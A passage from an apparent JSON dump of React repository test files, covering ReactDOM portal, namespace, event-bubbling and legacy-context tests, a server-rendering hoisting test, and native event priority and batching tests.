<foreignObject {...expectSVG}>\n          <ErrorBoundary>\n            <math {...expectMath}>\n              <BrokenRender />\n            </math>\n          </ErrorBoundary>\n        </foreignObject>\n        <image {...expectSVG} />\n      </svg>,\n    );\n    assertNamespacesMatch(<div {...expectHTML} />);\n  });\n\n  // @gate !disableLegacyMode\n  it('should unwind namespaces on caught errors in a portal', () => {\n    function BrokenRender() {\n      throw new Error('Hello');\n    }\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          return <image {...expectSVG} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    assertNamespacesMatch(\n      <svg {...expectSVG}>\n        <ErrorBoundary>\n          {usePortal(\n            <div {...expectHTML}>\n              <math {...expectMath}>\n                <BrokenRender />)\n              </math>\n            </div>,\n          )}\n        </ErrorBoundary>\n        {usePortal(<div {...expectHTML} />)}\n      </svg>,\n    );\n  });\n\n  // @gate !disableLegacyContext\n  // @gate !disableLegacyMode\n  it('should pass portal context when rendering subtree elsewhere', () => {\n    const portalContainer = document.createElement('div');\n\n    class Component extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string.isRequired,\n      };\n\n      render() {\n        return <div>{this.context.foo}</div>;\n      }\n    }\n\n    class Parent extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string.isRequired,\n      };\n\n      getChildContext() {\n        return {\n          foo: 'bar',\n        };\n      }\n\n      render() {\n        return ReactDOM.createPortal(<Component />, portalContainer);\n      }\n    }\n\n    ReactDOM.render(<Parent />, container);\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. Use React.createContext() instead.',\n      'Component uses the legacy contextTypes API which will soon be removed. Use React.createContext() with static contextType instead.',\n    ]);\n    expect(container.innerHTML).toBe('');\n    expect(portalContainer.innerHTML).toBe('<div>bar</div>');\n  });\n\n  // @gate !disableLegacyContext\n  // @gate !disableLegacyMode\n  it('should update portal context if it changes due to setState', () => {\n    const portalContainer = document.createElement('div');\n\n    class Component extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string.isRequired,\n        getFoo: PropTypes.func.isRequired,\n      };\n\n      render() {\n        return <div>{this.context.foo + '-' + this.context.getFoo()}</div>;\n      }\n    }\n\n    class Parent extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string.isRequired,\n        getFoo: PropTypes.func.isRequired,\n      };\n\n      state = {\n        bar: 'initial',\n      };\n\n      getChildContext() {\n        return {\n          foo: this.state.bar,\n          getFoo: () => this.state.bar,\n        };\n      }\n\n      render() {\n        return ReactDOM.createPortal(<Component />, portalContainer);\n      }\n    }\n\n    const instance = ReactDOM.render(<Parent />, container);\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. Use React.createContext() instead.',\n      'Component uses the legacy contextTypes API which will soon be removed. Use React.createContext() with static contextType instead.',\n    ]);\n    expect(portalContainer.innerHTML).toBe('<div>initial-initial</div>');\n    expect(container.innerHTML).toBe('');\n    instance.setState({bar: 'changed'});\n    expect(portalContainer.innerHTML).toBe('<div>changed-changed</div>');\n    expect(container.innerHTML).toBe('');\n  });\n\n  // @gate !disableLegacyContext\n  // @gate !disableLegacyMode\n  it('should update portal context if it changes due to re-render', () => {\n    const portalContainer = document.createElement('div');\n\n    class Component extends React.Component {\n      static contextTypes = {\n        foo: PropTypes.string.isRequired,\n        getFoo: PropTypes.func.isRequired,\n      };\n\n      render() {\n        return <div>{this.context.foo + '-' + this.context.getFoo()}</div>;\n      }\n    }\n\n    class Parent extends React.Component {\n      static childContextTypes = {\n        foo: PropTypes.string.isRequired,\n        getFoo: PropTypes.func.isRequired,\n      };\n\n      getChildContext() {\n        return {\n          foo: this.props.bar,\n          getFoo: () => this.props.bar,\n        };\n      }\n\n      render() {\n        return ReactDOM.createPortal(<Component />, portalContainer);\n      }\n    }\n\n    ReactDOM.render(<Parent bar=\"initial\" />, container);\n    assertConsoleErrorDev([\n      'Parent uses the legacy childContextTypes API which will soon be removed. Use React.createContext() instead.',\n      'Component uses the legacy contextTypes API which will soon be removed. Use React.createContext() with static contextType instead.',\n    ]);\n    expect(portalContainer.innerHTML).toBe('<div>initial-initial</div>');\n    expect(container.innerHTML).toBe('');\n    ReactDOM.render(<Parent bar=\"changed\" />, container);\n    expect(portalContainer.innerHTML).toBe('<div>changed-changed</div>');\n    expect(container.innerHTML).toBe('');\n  });\n\n  // @gate !disableLegacyMode\n  it('findDOMNode should find dom element after expanding a fragment', () => {\n    class MyNode extends React.Component {\n      render() {\n        return !this.props.flag\n          ? [<div key=\"a\" />]\n          : [<span key=\"b\" />, <div key=\"a\" />];\n      }\n    }\n\n    const myNodeA = ReactDOM.render(<MyNode />, container);\n    const a =\n      ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.findDOMNode(\n        myNodeA,\n      );\n    expect(a.tagName).toBe('DIV');\n\n    const myNodeB = ReactDOM.render(<MyNode flag={true} />, container);\n    expect(myNodeA === myNodeB).toBe(true);\n\n    const b =\n      ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.findDOMNode(\n        myNodeB,\n      );\n    expect(b.tagName).toBe('SPAN');\n  });\n\n  // @gate !disableLegacyMode\n  it('should bubble events from the portal to the parent', () => {\n    const portalContainer = document.createElement('div');\n    document.body.appendChild(portalContainer);\n    try {\n      const ops = [];\n      let portal = null;\n\n      ReactDOM.render(\n        <div onClick={() => ops.push('parent clicked')}>\n          {ReactDOM.createPortal(\n            <div\n              onClick={() => ops.push('portal clicked')}\n              ref={n => (portal = n)}>\n              portal\n            </div>,\n            portalContainer,\n          )}\n        </div>,\n        container,\n      );\n\n      expect(portal.tagName).toBe('DIV');\n\n      portal.click();\n\n      expect(ops).toEqual(['portal clicked', 'parent clicked']);\n    } finally {\n      document.body.removeChild(portalContainer);\n    }\n  });\n\n  // @gate !disableLegacyMode\n  it('should not onMouseLeave when staying in the portal', () => {\n    const portalContainer = document.createElement('div');\n    document.body.appendChild(portalContainer);\n\n    let ops = [];\n    let firstTarget = null;\n    let secondTarget = null;\n    let thirdTarget = null;\n\n    function simulateMouseMove(from, to) {\n      if (from) {\n        from.dispatchEvent(\n          new MouseEvent('mouseout', {\n            bubbles: true,\n            cancelable: true,\n            relatedTarget: to,\n          }),\n        );\n      }\n      if (to) {\n        to.dispatchEvent(\n          new MouseEvent('mouseover', {\n            bubbles: true,\n            cancelable: true,\n            relatedTarget: from,\n          }),\n        );\n      }\n    }\n\n    try {\n      ReactDOM.render(\n        <div>\n          <div\n            onMouseEnter={() => ops.push('enter parent')}\n            onMouseLeave={() => ops.push('leave parent')}>\n            <div ref={n => (firstTarget = n)} />\n            {ReactDOM.createPortal(\n              <div\n                onMouseEnter={() => ops.push('enter portal')}\n                onMouseLeave={() => ops.push('leave portal')}\n                ref={n => (secondTarget = n)}>\n                portal\n              </div>,\n              portalContainer,\n            )}\n          </div>\n          <div ref={n => (thirdTarget = n)} />\n        </div>,\n        container,\n      );\n\n      simulateMouseMove(null, firstTarget);\n      expect(ops).toEqual(['enter parent']);\n\n      ops = [];\n\n      simulateMouseMove(firstTarget, secondTarget);\n      expect(ops).toEqual([\n        // Parent did not invoke leave because we're still inside the portal.\n        'enter portal',\n      ]);\n\n      ops = [];\n\n      simulateMouseMove(secondTarget, thirdTarget);\n      expect(ops).toEqual([\n        'leave portal',\n        'leave parent', // Only when we leave the portal does onMouseLeave fire.\n      ]);\n    } finally {\n      document.body.removeChild(portalContainer);\n    }\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/19562\n  // @gate !disableLegacyMode\n  it('does not fire mouseEnter twice when relatedTarget is the root node', () => {\n    let ops = [];\n    let target = null;\n\n    function simulateMouseMove(from, to) {\n      if (from) {\n        from.dispatchEvent(\n          new MouseEvent('mouseout', {\n            bubbles: true,\n            cancelable: true,\n            relatedTarget: to,\n          }),\n        );\n      }\n      if (to) {\n        to.dispatchEvent(\n          new MouseEvent('mouseover', {\n            bubbles: true,\n            cancelable: true,\n            relatedTarget: from,\n          }),\n        );\n      }\n    }\n\n    ReactDOM.render(\n      <div\n        ref={n => (target = n)}\n        onMouseEnter={() => ops.push('enter')}\n        onMouseLeave={() => ops.push('leave')}\n      />,\n      container,\n    );\n\n    simulateMouseMove(null, container);\n    expect(ops).toEqual([]);\n\n    ops = [];\n    simulateMouseMove(container, target);\n    expect(ops).toEqual(['enter']);\n\n    ops = [];\n    simulateMouseMove(target, container);\n    expect(ops).toEqual(['leave']);\n\n    ops = [];\n    simulateMouseMove(container, null);\n    expect(ops).toEqual([]);\n  });\n\n  // @gate !disableLegacyMode\n  it('listens to events that do not exist in the Portal subtree', () => {\n    const onClick = jest.fn();\n\n    const ref = React.createRef();\n    ReactDOM.render(\n      <div onClick={onClick}>\n        {ReactDOM.createPortal(<button ref={ref}>click</button>, document.body)}\n      </div>,\n      container,\n    );\n    const event = new MouseEvent('click', {\n      bubbles: true,\n    });\n    ref.current.dispatchEvent(event);\n\n    expect(onClick).toHaveBeenCalledTimes(1);\n  });\n\n  it('should throw on bad createPortal argument', () => {\n    expect(() => {\n      ReactDOM.createPortal(<div>portal</div>, null);\n    }).toThrow('Target container is not a DOM element.');\n    expect(() => {\n      ReactDOM.createPortal(<div>portal</div>, document.createTextNode('hi'));\n    }).toThrow('Target container is not a DOM element.');\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn for non-functional event listeners', () => {\n    class Example extends React.Component {\n      render() {\n        return <div onClick=\"woops\" />;\n      }\n    }\n    ReactDOM.render(<Example />, container);\n    assertConsoleErrorDev([\n      'Expected `onClick` listener to be a function, instead got a value of `string` type.\\n' +\n        '    in div (at **)\\n' +\n        '    in Example (at **)',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn with a special message for `false` event listeners', () => {\n    class Example extends React.Component {\n      render() {\n        return <div onClick={false} />;\n      }\n    }\n    ReactDOM.render(<Example />, container);\n    assertConsoleErrorDev([\n      'Expected `onClick` listener to be a function, instead got `false`.\\n\\n' +\n        'If you used to conditionally omit it with onClick={condition && value}, ' +\n        'pass onClick={condition ? value : undefined} instead.\\n' +\n        '    in div (at **)\\n' +\n        '    in Example (at **)',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('should not update event handlers until commit', () => {\n    spyOnDev(console, 'error');\n\n    let ops = [];\n    const handlerA = () => ops.push('A');\n    const handlerB = () => ops.push('B');\n\n    function click() {\n      const event = new MouseEvent('click', {\n        bubbles: true,\n        cancelable: true,\n      });\n      Object.defineProperty(event, 'timeStamp', {\n        value: 0,\n      });\n      node.dispatchEvent(event);\n    }\n\n    class Example extends React.Component {\n      state = {flip: false, count: 0};\n      flip() {\n        this.setState({flip: true, count: this.state.count + 1});\n      }\n      tick() {\n        this.setState({count: this.state.count + 1});\n      }\n      render() {\n        const useB = !this.props.forceA && this.state.flip;\n        return <div onClick={useB ? handlerB : handlerA} />;\n      }\n    }\n\n    class Click extends React.Component {\n      constructor() {\n        super();\n        node.click();\n      }\n      render() {\n        return null;\n      }\n    }\n\n    let inst;\n    ReactDOM.render([<Example key=\"a\" ref={n => (inst = n)} />], container);\n    const node = container.firstChild;\n    expect(node.tagName).toEqual('DIV');\n\n    click();\n\n    expect(ops).toEqual(['A']);\n    ops = [];\n\n    // Render with the other event handler.\n    inst.flip();\n\n    click();\n\n    expect(ops).toEqual(['B']);\n    ops = [];\n\n    // Rerender without changing any props.\n    inst.tick();\n\n    click();\n\n    expect(ops).toEqual(['B']);\n    ops = [];\n\n    // Render a flip back to the A handler. The second component invokes the\n    // click handler during render to simulate a click during an aborted\n    // render. I use this hack because at current time we don't have a way to\n    // test aborted ReactDOM renders.\n    ReactDOM.render(\n      [<Example key=\"a\" forceA={true} />, <Click key=\"b\" />],\n      container,\n    );\n\n    // Because the new click handler has not yet committed, we should still\n    // invoke B.\n    expect(ops).toEqual(['B']);\n    ops = [];\n\n    // Any click that happens after commit, should invoke A.\n    click();\n    expect(ops).toEqual(['A']);\n\n    if (__DEV__) {\n      expect(console.error).toHaveBeenCalledTimes(2);\n      expect(console.error.mock.calls[0][0]).toMatch(\n        'ReactDOM.render has not been supported since React 18',\n      );\n      expect(console.error.mock.calls[1][0]).toMatch(\n        'ReactDOM.render has not been supported since React 18',\n      );\n    }\n  });\n\n  // @gate !disableLegacyMode\n  it('should not crash encountering low-priority tree', () => {\n    ReactDOM.render(\n      <div hidden={true}>\n        <div />\n      </div>,\n      container,\n    );\n  });\n\n  // @gate !disableLegacyMode\n  it('should not warn when rendering into an empty container', () => {\n    ReactDOM.render(<div>foo</div>, container);\n    expect(container.innerHTML).toBe('<div>foo</div>');\n    ReactDOM.render(null, container);\n    expect(container.innerHTML).toBe('');\n    ReactDOM.render(<div>bar</div>, container);\n    expect(container.innerHTML).toBe('<div>bar</div>');\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn when replacing a container which was manually updated outside of React', async () => {\n    // when not messing with the DOM outside of React\n    ReactDOM.render(<div key=\"1\">foo</div>, container);\n    ReactDOM.render(<div key=\"1\">bar</div>, container);\n    expect(container.innerHTML).toBe('<div>bar</div>');\n    // then we mess with the DOM before an update\n    // we know this will error - that is expected right now\n    // It's an error of type 'NotFoundError' with no message\n    container.innerHTML = '<div>MEOW.</div>';\n\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<div key=\"2\">baz</div>, container);\n      });\n    }).rejects.toThrow('The node to be removed is not a child of this node.');\n    assertConsoleErrorDev([\n      '' +\n        'It looks like the React-rendered content of this container was ' +\n        'removed without using React. This is not supported and will ' +\n        'cause errors. Instead, call ReactDOM.unmountComponentAtNode ' +\n        'to empty a container.',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn when doing an update to a container manually updated outside of React', () => {\n    // when not messing with the DOM outside of React\n    ReactDOM.render(<div>foo</div>, container);\n    ReactDOM.render(<div>bar</div>, container);\n    expect(container.innerHTML).toBe('<div>bar</div>');\n    // then we mess with the DOM before an update\n    container.innerHTML = '<div>MEOW.</div>';\n    ReactDOM.render(<div>baz</div>, container);\n    assertConsoleErrorDev([\n      '' +\n        'It looks like the React-rendered content of this container was ' +\n        'removed without using React. This is not supported and will ' +\n        'cause errors. Instead, call ReactDOM.unmountComponentAtNode ' +\n        'to empty a container.',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('should warn when doing an update to a container manually cleared outside of React', () => {\n    // when not messing with the DOM outside of React\n    ReactDOM.render(<div>foo</div>, container);\n    ReactDOM.render(<div>bar</div>, container);\n    expect(container.innerHTML).toBe('<div>bar</div>');\n    // then we mess with the DOM before an update\n    container.innerHTML = '';\n    ReactDOM.render(<div>baz</div>, container);\n    assertConsoleErrorDev([\n      '' +\n        'It looks like the React-rendered content of this container was ' +\n        'removed without using React. This is not supported and will ' +\n        'cause errors. Instead, call ReactDOM.unmountComponentAtNode ' +\n        'to empty a container.',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('should render a text component with a text DOM node on the same document as the container', () => {\n    // 1. Create a new document through the use of iframe\n    // 2. Set up the spy to make asserts when a text component\n    //    is rendered inside the iframe container\n    const textContent = 'Hello world';\n    const iframe = document.createElement('iframe');\n    document.body.appendChild(iframe);\n    const iframeDocument = iframe.contentDocument;\n    iframeDocument.write(\n      '<!DOCTYPE html><html><head></head><body><div></div></body></html>',\n    );\n    iframeDocument.close();\n    const iframeContainer = iframeDocument.body.firstChild;\n\n    let actualDocument;\n    let textNode;\n\n    spyOnDevAndProd(iframeContainer, 'appendChild').mockImplementation(node => {\n      actualDocument = node.ownerDocument;\n      textNode = node;\n    });\n\n    ReactDOM.render(textContent, iframeContainer);\n\n    expect(textNode.textContent).toBe(textContent);\n    expect(actualDocument).not.toBe(document);\n    expect(actualDocument).toBe(iframeDocument);\n    expect(iframeContainer.appendChild).toHaveBeenCalledTimes(1);\n  });\n\n  // @gate !disableLegacyMode\n  it('should mount into a document fragment', () => {\n    const fragment = document.createDocumentFragment();\n    ReactDOM.render(<div>foo</div>, fragment);\n    expect(container.innerHTML).toBe('');\n    container.appendChild(fragment);\n    expect(container.innerHTML).toBe('<div>foo</div>');\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/12643#issuecomment-413727104\n  // @gate !disableLegacyMode\n  it('should not diff memoized host components', () => {\n    const inputRef = React.createRef();\n    let didCallOnChange = false;\n\n    class Child extends React.Component {\n      state = {};\n      componentDidMount() {\n        document.addEventListener('click', this.update, true);\n      }\n      componentWillUnmount() {\n        document.removeEventListener('click', this.update, true);\n      }\n      update = () => {\n        // We're testing that this setState()\n        // doesn't cause React to commit updates\n        // to the input outside (which would itself\n        // prevent the parent's onChange parent handler\n        // from firing).\n        this.setState({});\n        // Note that onChange was always broken when there was an\n        // earlier setState() in a manual document capture phase\n        // listener *in the same component*. But that's very rare.\n        // Here we're testing that a *child* component doesn't break\n        // the parent if this happens.\n      };\n      render() {\n        return <div />;\n      }\n    }\n\n    class Parent extends React.Component {\n      handleChange = val => {\n        didCallOnChange = true;\n      };\n      render() {\n        return (\n          <div>\n            <Child />\n            <input\n              ref={inputRef}\n              type=\"checkbox\"\n              checked={true}\n              onChange={this.handleChange}\n            />\n          </div>\n        );\n      }\n    }\n\n    ReactDOM.render(<Parent />, container);\n    inputRef.current.dispatchEvent(\n      new MouseEvent('click', {\n        bubbles: true,\n      }),\n    );\n    expect(didCallOnChange).toBe(true);\n  });\n\n  // @gate !disableLegacyMode\n  it('unmounted legacy roots should never clear newer root content from a container', () => {\n    const ref = React.createRef();\n\n    function OldApp() {\n      const hideOnFocus = () => {\n        // This app unmounts itself inside of a focus event.\n        ReactDOM.unmountComponentAtNode(container);\n      };\n\n      return (\n        <button onFocus={hideOnFocus} ref={ref}>\n          old\n        </button>\n      );\n    }\n\n    function NewApp() {\n      return <button ref={ref}>new</button>;\n    }\n\n    ReactDOM.render(<OldApp />, container);\n    ref.current.focus();\n\n    ReactDOM.render(<NewApp />, container);\n\n    // Calling focus again will flush previously scheduled discrete work for the old root-\n    // but this should not clear out the newly mounted app.\n    ref.current.focus();\n\n    expect(container.textContent).toBe('new');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMLegacyFloat-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMFizzServer;\n\ndescribe('ReactDOMFloat', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOMFizzServer = require('react-dom/server');\n  });\n\n  // fixes #27177\n  it('does not hoist above the <html> tag', async () => {\n    const result = ReactDOMFizzServer.renderToString(\n      <html>\n        <head>\n          <script src=\"foo\" />\n          <meta charSet=\"utf-8\" />\n          <title>title</title>\n        </head>\n      </html>,\n    );\n\n    expect(result).toEqual(\n      '<html><head><meta charSet=\"utf-8\"/>' +\n        '<title>title</title><script src=\"foo\"></script></head>' +\n        '</html>',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMNativeEventHeuristic-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\n\nlet ReactDOM;\nlet ReactDOMClient;\nlet Scheduler;\nlet act;\nlet assertLog;\nlet waitFor;\n\ndescribe('ReactDOMNativeEventHeuristic-test', () => {\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n    container = document.createElement('div');\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    waitFor = InternalTestUtils.waitFor;\n\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  function dispatchAndSetCurrentEvent(el, event) {\n    try {\n      window.event = event;\n      el.dispatchEvent(event);\n    } finally {\n      window.event = undefined;\n    }\n  }\n\n  it('ignores discrete events on a pending removed element', async () => {\n    const disableButtonRef = React.createRef();\n    const submitButtonRef = React.createRef();\n\n    function Form() {\n      const [active, setActive] = React.useState(true);\n\n      React.useLayoutEffect(() => {\n        disableButtonRef.current.onclick = disableForm;\n      });\n\n      function disableForm() {\n        setActive(false);\n      }\n\n      return (\n        <div>\n          <button ref={disableButtonRef}>Disable</button>\n          {active ? <button ref={submitButtonRef}>Submit</button> : null}\n        </div>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Form />);\n    });\n\n    const disableButton = disableButtonRef.current;\n    expect(disableButton.tagName).toBe('BUTTON');\n\n    // Dispatch a click event on the Disable-button.\n    await act(async () => {\n      const firstEvent = document.createEvent('Event');\n      firstEvent.initEvent('click', true, true);\n      dispatchAndSetCurrentEvent(disableButton, firstEvent);\n    });\n    // Discrete events should be flushed in a microtask.\n    // Verify that the second button was removed.\n    expect(submitButtonRef.current).toBe(null);\n    // We'll assume that the browser won't let the user click it.\n  });\n\n  it('ignores discrete events on a pending removed event listener', async () => {\n    const disableButtonRef = React.createRef();\n    const submitButtonRef = React.createRef();\n\n    let formSubmitted = false;\n\n    function Form() {\n      const [active, setActive] = React.useState(true);\n\n      React.useLayoutEffect(() => {\n        disableButtonRef.current.onclick = disableForm;\n        submitButtonRef.current.onclick = active\n          ? submitForm\n          : disabledSubmitForm;\n      });\n\n      function disableForm() {\n        setActive(false);\n      }\n\n      function submitForm() {\n        formSubmitted = true; // This should not get invoked\n      }\n\n      function disabledSubmitForm() {\n        // The form is disabled.\n      }\n\n      return (\n        <div>\n          <button ref={disableButtonRef}>Disable</button>\n          <button ref={submitButtonRef}>Submit</button>\n        </div>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    // Flush\n    await act(() => root.render(<Form />));\n\n    const disableButton = disableButtonRef.current;\n    expect(disableButton.tagName).toBe('BUTTON');\n\n    // Dispatch a click event on the Disable-button.\n    const firstEvent = document.createEvent('Event');\n    firstEvent.initEvent('click', true, true);\n    await act(() => {\n      dispatchAndSetCurrentEvent(disableButton, firstEvent);\n\n      // There should now be a pending update to disable the form.\n      // This should not have flushed yet since it's in concurrent mode.\n      const submitButton = submitButtonRef.current;\n      expect(submitButton.tagName).toBe('BUTTON');\n\n      // Flush the discrete event\n      ReactDOM.flushSync();\n\n      // Now let's dispatch an event on the submit button.\n      const secondEvent = document.createEvent('Event');\n      secondEvent.initEvent('click', true, true);\n      dispatchAndSetCurrentEvent(submitButton, secondEvent);\n    });\n\n    // Therefore the form should never have been submitted.\n    expect(formSubmitted).toBe(false);\n  });\n\n  it('uses the newest discrete events on a pending changed event listener', async () => {\n    const enableButtonRef = React.createRef();\n    const submitButtonRef = React.createRef();\n\n    let formSubmitted = false;\n\n    function Form() {\n      const [active, setActive] = React.useState(false);\n\n      React.useLayoutEffect(() => {\n        enableButtonRef.current.onclick = enableForm;\n        submitButtonRef.current.onclick = active ? submitForm : null;\n      });\n\n      function enableForm() {\n        setActive(true);\n      }\n\n      function submitForm() {\n        formSubmitted = true; // This should not get invoked\n      }\n\n      return (\n        <div>\n          <button ref={enableButtonRef}>Enable</button>\n          <button ref={submitButtonRef}>Submit</button>\n        </div>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<Form />));\n\n    const enableButton = enableButtonRef.current;\n    expect(enableButton.tagName).toBe('BUTTON');\n\n    // Dispatch a click event on the Enable-button.\n    await act(() => {\n      const firstEvent = document.createEvent('Event');\n      firstEvent.initEvent('click', true, true);\n      dispatchAndSetCurrentEvent(enableButton, firstEvent);\n\n      // There should now be a pending update to enable the form.\n      // This should not have flushed yet since it's in concurrent mode.\n      const submitButton = submitButtonRef.current;\n      expect(submitButton.tagName).toBe('BUTTON');\n\n      // Flush discrete updates\n      ReactDOM.flushSync();\n\n      // Now let's dispatch an event on the submit button.\n      const secondEvent = document.createEvent('Event');\n      secondEvent.initEvent('click', true, true);\n      dispatchAndSetCurrentEvent(submitButton, secondEvent);\n    });\n\n    // Therefore the form should have been submitted.\n    expect(formSubmitted).toBe(true);\n  });\n\n  it('mouse over should be user-blocking but not discrete', async () => {\n    const root = ReactDOMClient.createRoot(container);\n\n    const target = React.createRef(null);\n    function Foo() {\n      const [isHover, setHover] = React.useState(false);\n      React.useLayoutEffect(() => {\n        target.current.onmouseover = () => setHover(true);\n      });\n      return <div ref={target}>{isHover ? 'hovered' : 'not hovered'}</div>;\n    }\n\n    await act(() => {\n      root.render(<Foo />);\n    });\n    expect(container.textContent).toEqual('not hovered');\n\n    await act(() => {\n      const mouseOverEvent = document.createEvent('MouseEvents');\n      mouseOverEvent.initEvent('mouseover', true, true);\n      dispatchAndSetCurrentEvent(target.current, mouseOverEvent);\n\n      // Flush discrete updates\n      ReactDOM.flushSync();\n      // Since mouse over is not discrete, should not have updated yet\n      expect(container.textContent).toEqual('not hovered');\n    });\n    expect(container.textContent).toEqual('hovered');\n  });\n\n  it('mouse enter should be user-blocking but not discrete', async () => {\n    const root = ReactDOMClient.createRoot(container);\n\n    const target = React.createRef(null);\n    function Foo() {\n      const [isHover, setHover] = React.useState(false);\n      React.useLayoutEffect(() => {\n        target.current.onmouseenter = () => setHover(true);\n      });\n      return <div ref={target}>{isHover ? 'hovered' : 'not hovered'}</div>;\n    }\n\n    await act(() => {\n      root.render(<Foo />);\n    });\n    expect(container.textContent).toEqual('not hovered');\n\n    await act(() => {\n      // Note: React does not use native mouseenter/mouseleave events\n      // but we should still correctly determine their priority.\n      const mouseEnterEvent = document.createEvent('MouseEvents');\n      mouseEnterEvent.initEvent('mouseenter', true, true);\n      dispatchAndSetCurrentEvent(target.current, mouseEnterEvent);\n\n      // Flush discrete updates\n      ReactDOM.flushSync();\n      // Since mouse end is not discrete, should not have updated yet\n      expect(container.textContent).toEqual('not hovered');\n    });\n    expect(container.textContent).toEqual('hovered');\n  });\n\n  it('continuous native events flush as expected', async () => {\n    const root = ReactDOMClient.createRoot(container);\n\n    const target = React.createRef(null);\n    function Foo({hovered}) {\n      const hoverString = hovered ? 'hovered' : 'not hovered';\n      Scheduler.log(hoverString);\n      return <div ref={target}>{hoverString}</div>;\n    }\n\n    await act(() => {\n      root.render(<Foo hovered={false} />);\n    });\n    expect(container.textContent).toEqual('not hovered');\n\n    assertLog(['not hovered']);\n    await act(async () => {\n      // Note: React does not use native mouseenter/mouseleave events\n      // but we should still correctly determine their priority.\n      const mouseEnterEvent = document.createEvent('MouseEvents');\n      mouseEnterEvent.initEvent('mouseover', true, true);\n      target.current.addEventListener('mouseover', () => {\n        root.render(<Foo hovered={true} />);\n      });\n      dispatchAndSetCurrentEvent(target.current, mouseEnterEvent);\n\n      // Since mouse end is not discrete, should not have updated yet\n      assertLog([]);\n      expect(container.textContent).toEqual('not hovered');\n\n      await waitFor(['hovered']);\n      expect(container.textContent).toEqual('hovered');\n    });\n    expect(container.textContent).toEqual('hovered');\n  });\n\n  it('should batch inside native events', async () => {\n    const root = ReactDOMClient.createRoot(container);\n\n    const target = React.createRef(null);\n    function Foo() {\n      const [count, setCount] = React.useState(0);\n      const countRef = React.useRef(-1);\n\n      React.useLayoutEffect(() => {\n        countRef.current = count;\n        target.current.onclick = () => {\n          setCount(countRef.current + 1);\n          // Now update again. If these updates are batched, then this should be\n          // a no-op, because we didn't re-render yet and `countRef` hasn't\n          // been mutated.\n          setCount(countRef.current + 1);\n        };\n      });\n      return <div ref={target}>Count: {count}</div>;\n    }\n\n    await act(() => {\n      root.render(<Foo />);\n    });\n    expect(container.textContent).toEqual('Count: 0');\n\n    await act(async () => {\n      const pressEvent = document.createEvent('Event');\n      pressEvent.initEvent('click', true, true);\n      dispatchAndSetCurrentEvent(target.current, pressEvent);\n    });\n    // If this is 2, that means the `setCount` calls were not batched.\n    expect(container.textContent).toEqual('Count: 1');\n  });\n\n  it('should not flush discrete events at the end of outermost batchedUpdates', async () => {\n    const root = ReactDOMClient.createRoot(container);\n\n    let target;\n    function Foo() {\n      const [count, setCount] = React.useState(0);\n      return (\n        <div\n          ref={el => {\n            target = el;\n            if (target !== null) {\n              el.onclick = () => {\n                ReactDOM.unstable_batchedUpdates(() => {\n                  setCount(count + 1);\n                });\n                Scheduler.log(\n                  container.textContent + ' [after batchedUpdates]',\n                );\n              };\n            }\n          }}>\n          Count: {count}\n        </div>\n      );\n    }\n\n    await act(() => {\n      root.render(<Foo />);\n    });\n    expect(container.textContent).toEqual('Count: 0');\n\n    await act(async () => {\n      const pressEvent = document.createEvent('Event');\n      pressEvent.initEvent('click', true, true);\n      dispatchAndSetCurrentEvent(target, pressEvent);\n      assertLog(['Count: 0 [after batchedUpdates]']);\n      expect(container.textContent).toEqual('Count: 0');\n    });\n    expect(container.textContent).toEqual('Count: 1');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMNestedEvents-test.js",
